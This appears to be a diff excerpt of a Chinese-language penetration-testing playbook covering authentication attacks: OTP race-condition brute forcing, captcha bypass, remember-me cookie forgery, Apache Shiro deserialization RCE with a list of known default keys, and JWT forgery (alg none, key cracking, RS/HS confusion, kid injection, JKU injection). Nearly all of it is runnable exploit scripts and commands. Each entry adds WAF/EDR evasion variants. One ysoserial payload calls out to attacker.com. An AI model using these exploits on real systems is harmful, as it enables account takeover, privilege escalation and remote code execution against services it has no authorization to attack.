POST /verify-backup-code
|
|
1278
|
+
{"backup_code":"§12345678§"}
|
|
1279
|
+
# 检查速率限制和锁定策略
|
|
1280
|
+
|
|
1281
|
+
# 竞态条件(Race Condition):
|
|
1282
|
+
# 同时发送多个验证请求:
|
|
1283
|
+
for i in $(seq 000000 000100); do
|
|
1284
|
+
curl -s -X POST "http://target.com/verify-2fa" -b "session=SID" -d "otp=$i" &
|
|
1285
|
+
done
|
|
1286
|
+
wait
|
|
1287
|
+
# 多线程并发可能绕过速率限制
|
|
1288
|
+
```
|
|
1289
|
+
|
|
1290
|
+
---
|
|
1291
|
+
|
|
1292
|
+
### 验证码绕过 `auth-captcha`
|
|
1293
|
+
绕过图形验证码
|
|
1294
|
+
子类:**验证码** · tags: `auth` `captcha` `bypass`
|
|
1295
|
+
|
|
1296
|
+
**前置条件:** 存在验证码
|
|
1297
|
+
|
|
1298
|
+
**攻击链:**
|
|
1299
|
+
|
|
1300
|
+
**1. 重复使用**
|
|
1301
|
+
_验证码未一次性失效_
|
|
1302
|
+
```
|
|
1303
|
+
# 验证码重放攻击(一次验证,多次使用):
|
|
1304
|
+
# 1. 正常获取并输入正确验证码
|
|
1305
|
+
# 2. 在Burp中抓取成功的请求
|
|
1306
|
+
# 3. 将请求发送到Repeater,重复发送:
|
|
1307
|
+
POST /login HTTP/1.1
|
|
1308
|
+
Content-Type: application/x-www-form-urlencoded
|
|
1309
|
+
|
|
1310
|
+
username=admin&password=§test§&captcha=VALID_CAPTCHA
|
|
1311
|
+
|
|
1312
|
+
# 4. 如果每次响应都正常(非"验证码错误")
|
|
1313
|
+
# 说明验证码未一次性失效,可用于暴力破解
|
|
1314
|
+
|
|
1315
|
+
# 5. 配合Intruder进行密码爆破:
|
|
1316
|
+
# Positions: password字段
|
|
1317
|
+
# Payloads: 密码字典
|
|
1318
|
+
# 固定captcha字段为已知有效值
|
|
1319
|
+
|
|
1320
|
+
# Burp Intruder设置: Sniper模式,Payload为密码列表
|
|
1321
|
+
```
|
|
1322
|
+
|
|
1323
|
+
**2. 空值绕过**
|
|
1324
|
+
_验证码参数留空_
|
|
1325
|
+
```
|
|
1326
|
+
# 验证码空值/参数删除绕过:
|
|
1327
|
+
# 1. 提交空验证码:
|
|
1328
|
+
POST /login HTTP/1.1
|
|
1329
|
+
Content-Type: application/x-www-form-urlencoded
|
|
1330
|
+
|
|
1331
|
+
username=admin&password=test&captcha=
|
|
1332
|
+
|
|
1333
|
+
# 2. 提交null值:
|
|
1334
|
+
POST /login HTTP/1.1
|
|
1335
|
+
Content-Type: application/json
|
|
1336
|
+
|
|
1337
|
+
{"username":"admin","password":"test","captcha":null}
|
|
1338
|
+
|
|
1339
|
+
# 3. 完全删除captcha参数:
|
|
1340
|
+
POST /login HTTP/1.1
|
|
1341
|
+
|
|
1342
|
+
username=admin&password=test
|
|
1343
|
+
|
|
1344
|
+
# 4. 提交特殊值:
|
|
1345
|
+
captcha=0
|
|
1346
|
+
captcha=undefined
|
|
1347
|
+
captcha[]=
|
|
1348
|
+
captcha=true
|
|
1349
|
+
|
|
1350
|
+
# 5. 不同编码:
|
|
1351
|
+
captcha=%00
|
|
1352
|
+
captcha=%20
|
|
1353
|
+
|
|
1354
|
+
# 如果任一方式登录成功,说明验证码验证可被绕过
|
|
1355
|
+
```
|
|
1356
|
+
|
|
1357
|
+
**3. 删除参数**
|
|
1358
|
+
_后端未检查参数存在性_
|
|
1359
|
+
```
|
|
1360
|
+
# 验证码参数移除绕过:
|
|
1361
|
+
# 1. 原始请求(带验证码):
|
|
1362
|
+
POST /login HTTP/1.1
|
|
1363
|
+
Content-Type: application/x-www-form-urlencoded
|
|
1364
|
+
|
|
1365
|
+
username=admin&password=test&captcha=abcd
|
|
1366
|
+
|
|
1367
|
+
# 2. 在Burp Repeater中删除captcha参数:
|
|
1368
|
+
POST /login HTTP/1.1
|
|
1369
|
+
Content-Type: application/x-www-form-urlencoded
|
|
1370
|
+
|
|
1371
|
+
username=admin&password=test
|
|
1372
|
+
|
|
1373
|
+
# 3. 修改Content-Type测试(可能走不同处理逻辑):
|
|
1374
|
+
POST /login HTTP/1.1
|
|
1375
|
+
Content-Type: application/json
|
|
1376
|
+
|
|
1377
|
+
{"username":"admin","password":"test"}
|
|
1378
|
+
|
|
1379
|
+
# 4. 通过移动端API(可能无验证码):
|
|
1380
|
+
POST /api/mobile/login HTTP/1.1
|
|
1381
|
+
Content-Type: application/json
|
|
1382
|
+
|
|
1383
|
+
{"username":"admin","password":"test"}
|
|
1384
|
+
|
|
1385
|
+
# 5. 旧版本API(可能无验证码):
|
|
1386
|
+
POST /api/v1/login HTTP/1.1
|
|
1387
|
+
```
|
|
1388
|
+
|
|
1389
|
+
**WAF/EDR 绕过变体:**
|
|
1390
|
+
|
|
1391
|
+
**1. 会话复用与参数移除绕过**
|
|
1392
|
+
_测试验证码是否在使用后立即失效(可重复使用),删除captcha参数检查后端是否强制校验,或传入空值、数组等异常类型绕过类型检查_
|
|
1393
|
+
```
|
|
1394
|
+
# 会话复用(验证码未一次性失效):
|
|
1395
|
+
# 1. 正确输入验证码一次
|
|
1396
|
+
# 2. 后续请求继续使用相同captcha值
|
|
1397
|
+
# Burp Repeater重放同一captcha参数
|
|
1398
|
+
|
|
1399
|
+
# 删除captcha参数:
|
|
1400
|
+
# 原始: user=admin&pass=123&captcha=ABCD
|
|
1401
|
+
# 修改: user=admin&pass=123
|
|
1402
|
+
# 后端可能不校验缺失的参数
|
|
1403
|
+
|
|
1404
|
+
# 空值绕过:
|
|
1405
|
+
captcha=
|
|
1406
|
+
captcha=null
|
|
1407
|
+
captcha=undefined
|
|
1408
|
+
captcha[]=
|
|
1409
|
+
```
|
|
1410
|
+
|
|
1411
|
+
**2. OCR识别与音频验证码利用**
|
|
1412
|
+
_使用OCR工具(Tesseract)自动识别简单图形验证码,利用音频验证码的语音识别替代方案,或检查响应中是否直接泄露验证码值_
|
|
1413
|
+
```
|
|
1414
|
+
# OCR自动识别图形验证码:
|
|
1415
|
+
# Python + Tesseract:
|
|
1416
|
+
import pytesseract
|
|
1417
|
+
from PIL import Image
|
|
1418
|
+
img = Image.open("captcha.png")
|
|
1419
|
+
text = pytesseract.image_to_string(img)
|
|
1420
|
+
print(text)
|
|
1421
|
+
|
|
1422
|
+
# 音频验证码利用:
|
|
1423
|
+
# 使用Google Speech-to-Text API识别音频验证码
|
|
1424
|
+
# 或使用Selenium自动获取+语音识别
|
|
1425
|
+
|
|
1426
|
+
# 验证码响应泄露:
|
|
1427
|
+
# 检查响应头、Cookie、隐藏字段中是否包含验证码值
|
|
1428
|
+
curl -v "http://target.com/captcha/generate" 2>&1 | grep -iE "captcha|code|verify"
|
|
1429
|
+
```
|
|
1430
|
+
|
|
1431
|
+
---
|
|
1432
|
+
|
|
1433
|
+
### 记住我漏洞 `auth-remember-me`
|
|
1434
|
+
Remember Me功能漏洞
|
|
1435
|
+
子类:**会话管理** · tags: `auth` `remember-me` `cookie`
|
|
1436
|
+
|
|
1437
|
+
**前置条件:** 开启Remember Me
|
|
1438
|
+
|
|
1439
|
+
**攻击链:**
|
|
1440
|
+
|
|
1441
|
+
**1. Cookie伪造**
|
|
1442
|
+
_明文存储用户名_
|
|
1443
|
+
```
|
|
1444
|
+
# Remember-Me Cookie伪造:
|
|
1445
|
+
# 1. 分析Cookie结构:
|
|
1446
|
+
# 常见格式: username|timestamp|hash 或 base64(username:expiry:hash)
|
|
1447
|
+
Cookie: remember=admin
|
|
1448
|
+
Cookie: remember=dXNlcjoxNjk5MDAwMDAwOmFiY2QxMjM0
|
|
1449
|
+
|
|
1450
|
+
# 2. Base64解码分析:
|
|
1451
|
+
echo "dXNlcjoxNjk5MDAwMDAwOmFiY2QxMjM0" | base64 -d
|
|
1452
|
+
# 输出: user:1699000000:abcd1234
|
|
1453
|
+
|
|
1454
|
+
# 3. 伪造admin的Cookie:
|
|
1455
|
+
echo -n "admin:1999999999:abcd1234" | base64
|
|
1456
|
+
# 用生成的值替换Cookie
|
|
1457
|
+
|
|
1458
|
+
# 4. 如果使用弱Hash(如MD5(username+secret)):
|
|
1459
|
+
# 注册新账号 → 分析Cookie → 推导secret → 伪造admin Cookie
|
|
1460
|
+
|
|
1461
|
+
# 5. 测试:
|
|
1462
|
+
curl -b "remember=FORGED_VALUE" "http://target.com/dashboard" -v
|
|
1463
|
+
```
|
|
1464
|
+
|
|
1465
|
+
**2. Base64解码**
|
|
1466
|
+
_弱加密或编码_
|
|
1467
|
+
```
|
|
1468
|
+
# Remember-Me Cookie解码与分析:
|
|
1469
|
+
# 1. 提取Cookie值:
|
|
1470
|
+
curl -c cookies.txt -d "username=testuser&password=test123&remember=1" "http://target.com/login"
|
|
1471
|
+
cat cookies.txt | grep -i remember
|
|
1472
|
+
|
|
1473
|
+
# 2. Base64解码:
|
|
1474
|
+
echo "COOKIE_VALUE" | base64 -d
|
|
1475
|
+
|
|
1476
|
+
# 3. 如果是URL编码+Base64:
|
|
1477
|
+
python3 -c "import urllib.parse,base64; print(base64.b64decode(urllib.parse.unquote('COOKIE_VALUE')))"
|
|
1478
|
+
|
|
1479
|
+
# 4. 尝试Hex解码:
|
|
1480
|
+
echo "COOKIE_VALUE" | xxd -r -p
|
|
1481
|
+
|
|
1482
|
+
# 5. 分析解码后的结构:
|
|
1483
|
+
# username:timestamp:hmac
|
|
1484
|
+
# {"user":"admin","exp":1699999999}
|
|
1485
|
+
# 序列化对象(Java/PHP)
|
|
1486
|
+
|
|
1487
|
+
# 6. 检查是否为已知框架的Cookie格式:
|
|
1488
|
+
# Shiro: AES-CBC加密(默认密钥kPH+bIxk5D2deZiIxcaaaA==)
|
|
1489
|
+
# Django: base64(payload):timestamp:signature
|
|
1490
|
+
```
|
|
1491
|
+
|
|
1492
|
+
**3. 记住密码Token逆向分析** _[linux]_
|
|
1493
|
+
_逆向分析remember-me Token的生成逻辑_
|
|
1494
|
+
```
|
|
1495
|
+
# 1. 收集多个remember-me Token:
|
|
1496
|
+
for i in $(seq 1 5); do
|
|
1497
|
+
token=$(curl -s -c - -d "username=testuser&password=testpass&remember=1" "http://target.com/login" | grep -i "remember" | awk '{print $NF}')
|
|
1498
|
+
echo "Token $i: $token"
|
|
1499
|
+
sleep 1
|
|
1500
|
+
done
|
|
1501
|
+
|
|
1502
|
+
# 2. Base64解码分析:
|
|
1503
|
+
echo "REMEMBER_TOKEN" | base64 -d | xxd | head -20 # security-allowlist: SEC008
|
|
1504
|
+
|
|
1505
|
+
# 3. 检查常见格式:
|
|
1506
|
+
# username:timestamp:hash
|
|
1507
|
+
# username:md5(password)
|
|
1508
|
+
# serialized_object(Java: rO0AB... PHP: O:4:...)
|
|
1509
|
+
|
|
1510
|
+
# 4. 如果是Java序列化(Shiro RememberMe):
|
|
1511
|
+
echo "REMEMBER_TOKEN" | base64 -d | xxd | head -3 # security-allowlist: SEC008
|
|
1512
|
+
# 如果以 aced0005 开头 → Java序列化对象
|
|
1513
|
+
# 如果Token加密: 尝试Shiro默认密钥 kPH+bIxk5D2deZiIxcaaaA==
|
|
1514
|
+
|
|
1515
|
+
# 5. PHP反序列化检查:
|
|
1516
|
+
echo "REMEMBER_TOKEN" | base64 -d
|
|
1517
|
+
# 如果形如 O:4:"User":2:{s:4:"name";s:5:"admin";...} → PHP序列化
|
|
1518
|
+
```
|
|
1519
|
+
|
|
1520
|
+
**4. Shiro RememberMe反序列化RCE**
|
|
1521
|
+
_利用Shiro默认密钥 + 反序列化链实现RCE_
|
|
1522
|
+
```
|
|
1523
|
+
# Apache Shiro框架的RememberMe Cookie反序列化漏洞
|
|
1524
|
+
# 原理: AES-CBC加密(默认密钥) → Base64编码 → Cookie
|
|
1525
|
+
|
|
1526
|
+
# 1. 检测Shiro框架:
|
|
1527
|
+
curl -sI "http://target.com/" | grep -i "rememberMe=deleteMe"
|
|
1528
|
+
# 发送无效Cookie触发特征响应:
|
|
1529
|
+
curl -sI "http://target.com/" -b "rememberMe=test" | grep -i "rememberMe"
|
|
1530
|
+
|
|
1531
|
+
# 2. 已知Shiro密钥列表测试:
|
|
1532
|
+
# kPH+bIxk5D2deZiIxcaaaA==
|
|
1533
|
+
# 2AvVhdsgUs0FSA3SDFAdag==
|
|
1534
|
+
# 3AvVhmFLUs0KTA3Kprsdag==
|
|
1535
|
+
# ...
|
|
1536
|
+
|
|
1537
|
+
# 3. 使用ShiroExploit工具:
|
|
1538
|
+
# java -jar ShiroExploit.jar http://target.com
|
|
1539
|
+
|
|
1540
|
+
# 4. 手动构造payload(需要ysoserial):
|
|
1541
|
+
java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com/rce" > payload.ser
|
|
1542
|
+
|
|
1543
|
+
# AES加密:
|
|
1544
|
+
python3 -c "
|
|
1545
|
+
import base64
|
|
1546
|
+
from Crypto.Cipher import AES
|
|
1547
|
+
import os
|
|
1548
|
+
|
|
1549
|
+
key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
|
|
1550
|
+
iv = os.urandom(16)
|
|
1551
|
+
payload = open('payload.ser','rb').read()
|
|
1552
|
+
# PKCS5Padding
|
|
1553
|
+
pad = 16 - len(payload) % 16
|
|
1554
|
+
payload += bytes([pad]) * pad
|
|
1555
|
+
cipher = AES.new(key, AES.MODE_CBC, iv)
|
|
1556
|
+
encrypted = iv + cipher.encrypt(payload)
|
|
1557
|
+
print(base64.b64encode(encrypted).decode())
|
|
1558
|
+
"
|
|
1559
|
+
```
|
|
1560
|
+
|
|
1561
|
+
**WAF/EDR 绕过变体:**
|
|
1562
|
+
|
|
1563
|
+
**1. Remember-Me Cookie绕过检测**
|
|
1564
|
+
_枚举Shiro密钥和不同加密模式绕过检测_
|
|
1565
|
+
```
|
|
1566
|
+
# 1. 修改Cookie名称大小写:
|
|
1567
|
+
curl -b "RememberMe=payload" "http://target.com/"
|
|
1568
|
+
curl -b "rememberme=payload" "http://target.com/"
|
|
1569
|
+
curl -b "REMEMBERME=payload" "http://target.com/"
|
|
1570
|
+
|
|
1571
|
+
# 2. Shiro密钥枚举(使用不同密钥加密payload):
|
|
1572
|
+
import base64, itertools
|
|
1573
|
+
from Crypto.Cipher import AES
|
|
1574
|
+
import os
|
|
1575
|
+
|
|
1576
|
+
keys = [
|
|
1577
|
+
"kPH+bIxk5D2deZiIxcaaaA==",
|
|
1578
|
+
"2AvVhdsgUs0FSA3SDFAdag==",
|
|
1579
|
+
"3AvVhmFLUs0KTA3Kprsdag==",
|
|
1580
|
+
"4AvVhmFLUs0KTA3Kprsdag==",
|
|
1581
|
+
"Z3VucwAAAAAAAAAAAAAAAA==",
|
|
1582
|
+
"wGiHplamyXlVB11UXWol8g==",
|
|
1583
|
+
"fCq+/xW488hMTCD+cmJ3aQ==",
|
|
1584
|
+
]
|
|
1585
|
+
|
|
1586
|
+
payload = open("payload.ser", "rb").read()
|
|
1587
|
+
for k in keys:
|
|
1588
|
+
try:
|
|
1589
|
+
key = base64.b64decode(k)
|
|
1590
|
+
iv = os.urandom(16)
|
|
1591
|
+
pad = 16 - len(payload) % 16
|
|
1592
|
+
padded = payload + bytes([pad]) * pad
|
|
1593
|
+
cipher = AES.new(key, AES.MODE_CBC, iv)
|
|
1594
|
+
enc = base64.b64encode(iv + cipher.encrypt(padded)).decode()
|
|
1595
|
+
print(f"Key: {k} → Cookie length: {len(enc)}")
|
|
1596
|
+
except Exception as e:
|
|
1597
|
+
print(f"Key: {k} → Error: {e}")
|
|
1598
|
+
|
|
1599
|
+
# 3. GCM模式(Shiro 1.4.2+):
|
|
1600
|
+
# 新版Shiro使用AES-GCM,需要对应的加密方式
|
|
1601
|
+
```
|
|
1602
|
+
|
|
1603
|
+
---
|
|
1604
|
+
|
|
1605
|
+
### JWT认证漏洞 `auth-jwt`
|
|
1606
|
+
利用JWT(JSON Web Token)实现缺陷伪造或篡改认证令牌,实现未授权访问或权限提升
|
|
1607
|
+
子类:**JWT** · tags: `auth` `jwt` `token`
|
|
1608
|
+
|
|
1609
|
+
**前置条件:** 目标使用JWT进行认证;可以获取或拦截JWT令牌;JWT库存在已知漏洞或服务端配置不当
|
|
1610
|
+
|
|
1611
|
+
**攻击链:**
|
|
1612
|
+
|
|
1613
|
+
**1. JWT解码与分析**
|
|
1614
|
+
_解码JWT的Header和Payload分析其结构和权限信息_
|
|
1615
|
+
```
|
|
1616
|
+
# 手动解码JWT (Base64)
|
|
1617
|
+
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | cut -d. -f2 | base64 -d 2>/dev/null
|
|
1618
|
+
|
|
1619
|
+
# 使用jwt_tool解码:
|
|
1620
|
+
python3 jwt_tool.py <token>
|
|
1621
|
+
|
|
1622
|
+
# 在线解码:
|
|
1623
|
+
# https://jwt.io/
|
|
1624
|
+
|
|
1625
|
+
# 检查关键字段:
|
|
1626
|
+
# - alg: 签名算法(HS256/RS256/none)
|
|
1627
|
+
# - kid: 密钥ID(可能可注入)
|
|
1628
|
+
# - typ: 令牌类型
|
|
1629
|
+
# - exp: 过期时间
|
|
1630
|
+
# - role/admin/isAdmin: 权限字段
|
|
1631
|
+
```
|
|
1632
|
+
|
|
1633
|
+
**2. Algorithm None攻击**
|
|
1634
|
+
_将JWT的alg字段设为none,使服务端跳过签名验证,直接接受篡改的payload_
|
|
1635
|
+
```
|
|
1636
|
+
# 将alg改为none绕过签名验证
|
|
1637
|
+
import base64, json
|
|
1638
|
+
|
|
1639
|
+
header = {"alg": "none", "typ": "JWT"}
|
|
1640
|
+
payload = {"user": "admin", "role": "admin", "iat": 1700000000, "exp": 1999999999}
|
|
1641
|
+
|
|
1642
|
+
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=")
|
|
1643
|
+
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=")
|
|
1644
|
+
|
|
1645
|
+
# 多种变体绕过:
|
|
1646
|
+
alg_variants = ["none", "None", "NONE", "nOnE"]
|
|
1647
|
+
for alg in alg_variants:
|
|
1648
|
+
header["alg"] = alg
|
|
1649
|
+
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=")
|
|
1650
|
+
token = h.decode() + "." + p.decode() + "."
|
|
1651
|
+
print(f"alg={alg}: {token}")
|
|
1652
|
+
|
|
1653
|
+
# 使用jwt_tool:
|
|
1654
|
+
python3 jwt_tool.py <token> -X a # Algorithm None attack
|
|
1655
|
+
```
|
|
1656
|
+
|
|
1657
|
+
**3. HS256密钥爆破** _[linux]_
|
|
1658
|
+
_对使用HS256对称加密的JWT进行密钥字典爆破_
|
|
1659
|
+
```
|
|
1660
|
+
# 使用jwt_tool爆破弱密钥
|
|
1661
|
+
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
|
|
1662
|
+
|
|
1663
|
+
# 使用hashcat:
|
|
1664
|
+
hashcat -m 16500 jwt_hash.txt /usr/share/wordlists/rockyou.txt
|
|
1665
|
+
|
|
1666
|
+
# 使用john:
|
|
1667
|
+
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
|
|
1668
|
+
|
|
1669
|
+
# 常见弱密钥:
|
|
1670
|
+
# secret, password, 123456, admin, key, test
|
|
1671
|
+
# 公司名, 项目名, 域名等
|
|
1672
|
+
|
|
1673
|
+
# 密钥确认后伪造JWT:
|
|
1674
|
+
import jwt
|
|
1675
|
+
token = jwt.encode({"user":"admin","role":"admin"}, "found_secret", algorithm="HS256")
|
|
1676
|
+
print(token)
|
|
1677
|
+
```
|
|
1678
|
+
|
|
1679
|
+
**4. RS256→HS256算法混淆攻击** _[linux]_
|
|
1680
|
+
_利用RS256/HS256算法混淆,用公钥作为HS256对称密钥签名伪造JWT_
|
|
1681
|
+
```
|
|
1682
|
+
# 当服务端使用RS256但接受HS256时:
|
|
1683
|
+
# 1. 获取服务端公钥(通常在/.well-known/jwks.json或/api/keys)
|
|
1684
|
+
curl -s "http://target.com/.well-known/jwks.json"
|
|
1685
|
+
curl -s "http://target.com/api/v1/keys"
|
|
1686
|
+
|
|
1687
|
+
# 2. 提取公钥
|
|
1688
|
+
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pubkey.pem
|
|
1689
|
+
|
|
1690
|
+
# 3. 用公钥作为HS256的密钥签名JWT
|
|
1691
|
+
import jwt
|
|
1692
|
+
public_key = open("pubkey.pem").read()
|
|
1693
|
+
token = jwt.encode(
|
|
1694
|
+
{"user": "admin", "role": "admin"},
|
|
1695
|
+
public_key,
|
|
1696
|
+
algorithm="HS256"
|
|
1697
|
+
)
|
|
1698
|
+
print(token)
|
|
1699
|
+
|
|
1700
|
+
# 使用jwt_tool:
|
|
1701
|
+
python3 jwt_tool.py <token> -X k -pk pubkey.pem # Key confusion attack
|
|
1702
|
+
```
|
|
1703
|
+
|
|
1704
|
+
**5. KID参数注入**
|
|
1705
|
+
_利用JWT头部kid字段的SQL注入或路径遍历控制签名验证密钥_
|
|
1706
|
+
```
|
|
1707
|
+
# KID (Key ID) SQL注入:
|
|
1708
|
+
# 原始header: {"alg":"HS256","kid":"key1"}
|
|
1709
|
+
# 注入header: {"alg":"HS256","kid":"key1' UNION SELECT 'ATTACKER_SECRET' -- "}
|
|
1710
|
+
|
|
1711
|
+
import jwt, json, base64
|
|
1712
|
+
|
|
1713
|
+
# SQL注入方式:
|
|
1714
|
+
header = {"alg": "HS256", "kid": "x' UNION SELECT 'test' -- "}
|
|
1715
|
+
token = jwt.encode({"user": "admin"}, "test", algorithm="HS256", headers=header)
|
|
1716
|
+
|
|
1717
|
+
# 路径遍历方式:
|
|
1718
|
+
header2 = {"alg": "HS256", "kid": "../../dev/null"}
|
|
1719
|
+
# /dev/null内容为空,密钥为空字符串
|
|
1720
|
+
token2 = jwt.encode({"user": "admin"}, "", algorithm="HS256", headers=header2)
|
|
1721
|
+
|
|
1722
|
+
# 使用jwt_tool:
|
|
1723
|
+
python3 jwt_tool.py <token> -X i -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
|
1724
|
+
```
|
|
1725
|
+
|
|
1726
|
+
**WAF/EDR 绕过变体:**
|
|
1727
|
+
|
|
1728
|
+
**1. JWK/JKU头部密钥注入**
|
|
1729
|
+
_通过JWT Header中的jwk字段内嵌攻击者公钥或jku字段指向攻击者的JWKS端点,使服务端使用攻击者控制的密钥验证签名_
|
|
1730
|
+
```
|
|
1731
|
+
# JWK内嵌密钥注入:
|
|
1732
|
+
# 生成RSA密钥对:
|
|
1733
|
+
openssl genrsa -out attacker.key 2048
|
|
1734
|
+
openssl rsa -in attacker.key -pubout -out attacker.pub
|
|
1735
|
+
|
|
1736
|
+
# 构造JWT Header:
|
|
1737
|
+
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"<attacker_n_base64>","e":"AQAB","use":"sig"}}
|
|
1738
|
+
# 用attacker.key签名,服务端从jwk字段取公钥验证
|
|
1739
|
+
|
|
1740
|
+
# JKU远程密钥注入:
|
|
1741
|
+
{"alg":"RS256","jku":"http://attacker.com/jwks.json"}
|
|
1742
|
+
# 在attacker.com上部署包含攻击者公钥的JWKS文件
|
|
1743
|
+
|
|
1744
|
+
# 使用jwt_tool:
|
|
1745
|
+
python3 jwt_tool.py <token> -X s -pr attacker.key
|
|
1746
|
+
```
|
|
1747
|
+
|
|
1748
|
+
**2. 算法降级与嵌套令牌利用**
|
|
1749
|
+
_利用RS256到HS256的算法混淆攻击(用公钥作对称密钥签名),或在JWT Payload中嵌入伪造的内部JWT令牌触发递归解析漏洞_
|
|
1750
|
+
```
|
|
1751
|
+
# 算法降级(RS256→HS256):
|
|
1752
|
+
# 获取服务端公钥后用作HS256密钥:
|
|
1753
|
+
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pub.pem
|
|
1754
|
+
python3 -c "
|
|
1755
|
+
import jwt
|
|
1756
|
+
pub = open('pub.pem').read()
|
|
1757
|
+
token = jwt.encode({'user':'admin','role':'admin'}, pub, algorithm='HS256')
|
|
1758
|
+
print(token)"
|
|
1759
|
+
|
|
1760
|
+
# Claim篡改+嵌套JWT:
|
|
1761
|
+
# 在JWT payload中嵌入另一个JWT:
|
|
1762
|
+
{"user":"admin","inner_token":"<另一个伪造的JWT>"}
|
|
1763
|
+
# 某些系统会递归解析inner_token
|
|
1764
|
+
```
|
|
1765
|
+
|
|
1766
|
+
---
|
|
1767
|
+
|
|
1768
|
+
### · JWT安全
|
|
1769
|
+
|
|
1770
|
+
### JWT None算法攻击 `jwt-none-attack`
|
|
1771
|
+
利用JWT库对"none"算法的支持缺陷,将JWT头部的签名算法修改为none后移除签名部分,构造无需密钥即可通过验证的伪造令牌。这是最经典的JWT漏洞之一。
|
|
1772
|
+
子类:**算法攻击** · tags: `JWT` `none算法` `认证绕过` `令牌伪造` `CVE-2015-2951`
|
|
1773
|
+
|
|
1774
|
+
**前置条件:** 目标使用JWT进行身份认证;jwt_tool或Python PyJWT库
|
|
1775
|
+
|
|
1776
|
+
**攻击链:**
|
|
1777
|
+
|
|
1778
|
+
**1. 1. 解码现有JWT**
|
|
1779
|
+
_解析JWT的Header和Payload部分,识别算法和声明内容_
|
|
1780
|
+
```
|
|
1781
|
+
# 解码JWT的三个部分
|
|
1782
|
+
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.signature" | cut -d. -f1 | base64 -d
|
|
1783
|
+
# 输出: {"alg":"HS256","typ":"JWT"}
|
|
1784
|
+
|
|
1785
|
+
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.signature" | cut -d. -f2 | base64 -d
|
|
1786
|
+
# 输出: {"user":"guest","role":"user"}
|
|
1787
|
+
```
|
|
1788
|
+
|
|
1789
|
+
**2. 2. 构造None算法JWT**
|
|
1790
|
+
_Python脚本构造alg=none的伪造JWT,提权为admin_
|
|
1791
|
+
```
|
|
1792
|
+
import base64, json
|
|
1793
|
+
|
|
1794
|
+
# 修改Header为none算法
|
|
1795
|
+
header = base64.urlsafe_b64encode(
|
|
1796
|
+
json.dumps({"alg":"none","typ":"JWT"}).encode()
|
|
1797
|
+
).rstrip(b"=").decode()
|
|
1798
|
+
|
|
1799
|
+
# 修改Payload为admin
|
|
1800
|
+
payload = base64.urlsafe_b64encode(
|
|
1801
|
+
json.dumps({"user":"admin","role":"admin"}).encode()
|
|
1802
|
+
).rstrip(b"=").decode()
|
|
1803
|
+
|
|
1804
|
+
# 签名为空
|
|
1805
|
+
forged_jwt = f"{header}.{payload}."
|
|
1806
|
+
print(forged_jwt)
|
|
1807
|
+
```
|
|
1808
|
+
|
|
1809
|
+
**3. 3. jwt_tool自动攻击**
|
|
1810
|
+
_使用jwt_tool自动化测试none算法及其大小写变体_
|
|
1811
|
+
```
|
|
1812
|
+
python3 jwt_tool.py {TOKEN} -X a
|
|
1813
|
+
|
|
1814
|
+
# -X a = 尝试none算法攻击
|
|
1815
|
+
# 同时测试多种none变体
|
|
1816
|
+
# none, None, NONE, nOnE, noNe
|
|
1817
|
+
```
|
|
1818
|
+
|
|
1819
|
+
**4. 4. 验证伪造令牌**
|
|
1820
|
+
_使用伪造的JWT访问管理员接口验证攻击效果_
|
|
1821
|
+
```
|
|
1822
|
+
curl -s -H "Authorization: Bearer {FORGED_JWT}" \
|
|
1823
|
+
"https://{TARGET}/api/admin/dashboard"
|
|
1824
|
+
|
|
1825
|
+
# 检查是否获得管理员权限
|
|
1826
|
+
# 200 OK = 攻击成功
|
|
1827
|
+
# 401/403 = 服务端正确拒绝none算法
|
|
1828
|
+
```
|
|
1829
|
+
|
|
1830
|
+
**WAF/EDR 绕过变体:**
|
|
1831
|
+
|
|
1832
|
+
**1. none算法大小写变体**
|
|
1833
|
+
_使用none的各种大小写组合和不同签名占位绕过校验_
|
|
1834
|
+
```
|
|
1835
|
+
# 各种none变体
|
|
1836
|
+
{"alg":"none"}
|
|
1837
|
+
{"alg":"None"}
|
|
1838
|
+
{"alg":"NONE"}
|
|
1839
|
+
{"alg":"nOnE"}
|
|
1840
|
+
{"alg":"noNe"}
|
|
1841
|
+
{"alg":"nONE"}
|
|
1842
|
+
|
|
1843
|
+
# 添加签名占位
|
|
1844
|
+
header.payload.
|
|
1845
|
+
header.payload.AA==
|
|
1846
|
+
header.payload.e30=
|
|
1847
|
+
```
|
|
1848
|
+
|
|
1849
|
+
---
|
|
1850
|
+
|
|
1851
|
+
### JWT密钥混淆攻击(RS→HS) `jwt-key-confusion`
|
|
1852
|
+
当服务端使用RSA公钥验证JWT时,攻击者将算法从RS256改为HS256,此时服务端会错误地使用RSA公钥作为HMAC密钥进行验证。由于RSA公钥是公开的,攻击者可用它签名任意JWT。
|
|
1853
|
+
子类:**算法攻击** · tags: `JWT` `密钥混淆` `RS256` `HS256` `算法篡改`
|
|
1854
|
+
|
|
1855
|
+
**前置条件:** 目标JWT使用RS256/RS384/RS512算法;已获取RSA公钥;jwt_tool或Python
|
|
1856
|
+
|
|
1857
|
+
**攻击链:**
|
|
1858
|
+
|
|
1859
|
+
**1. 1. 获取RSA公钥**
|
|
1860
|
+
_从JWKS端点、API或SSL证书中获取RSA公钥_
|
|
1861
|
+
```
|
|
1862
|
+
# 常见公钥泄露位置
|
|
1863
|
+
curl -s "https://{TARGET}/.well-known/jwks.json" | jq
|
|
1864
|
+
curl -s "https://{TARGET}/api/keys" | jq
|
|
1865
|
+
